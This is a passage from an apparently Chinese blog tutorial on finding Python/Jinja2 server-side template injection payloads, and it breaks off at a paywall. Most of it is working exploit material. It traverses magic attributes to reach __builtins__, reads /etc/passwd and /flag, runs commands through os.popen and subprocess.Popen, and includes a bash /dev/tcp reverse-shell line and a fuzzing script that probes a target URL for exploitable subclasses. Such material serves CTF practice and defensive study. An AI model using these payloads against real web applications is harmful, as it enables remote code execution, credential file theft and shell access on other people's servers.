0x01 再看寻找Python SSTI攻击载荷的过程
获取基本类
对于返回的是定义的Class内的话:
__dict__ //返回类中的函数和属性,父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法
__subclasses__() //返回类中仍然可用的引用 python3
__globals__ //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
此外,在引入了Flask/Jinja的相关模块后还可以通过
config
request
url_for
get_flashed_messages
self
redirect
等获取基本类,
获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
找到重载过的__init__类
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的
也可以利用.index()去找file,warnings.catch_warnings
>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
查看其引用__builtins__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file等函数来实现读取文件的功能
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
常用的目标函数有这么几个
file
subprocess.Popen
os.popen
exec
eval
常用的中间对象有这么几个
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')
更多的可利用类可以通过遍历筛选的方式找到
比如对subprocess.Popen我们可以构造如下fuzz脚本
import requests
url = ""
index = 0
for i in range(100, 1000):
#print i
payload = "{
{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)
params = {
"search": payload
}
#print(params)
req = requests.get(url,params=params)
#print(req.text)
if "subprocess.Popen" in req.text:
index = i
break
print("index of subprocess.Popen:" + str(index))
print("payload:{
{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
那么我们也可以利用{

本文详细介绍了如何在Python中寻找SSTI攻击载荷,包括通过魔术方法获取基本类、重载__init__方法、利用Flask/Jinja模块绕过限制,以及各种技巧和绕过手段,如字符串表示法、字典操作、对象元素获取和请求注入。

最低0.47元/天 解锁文章
1192

被折叠的 条评论
为什么被折叠?



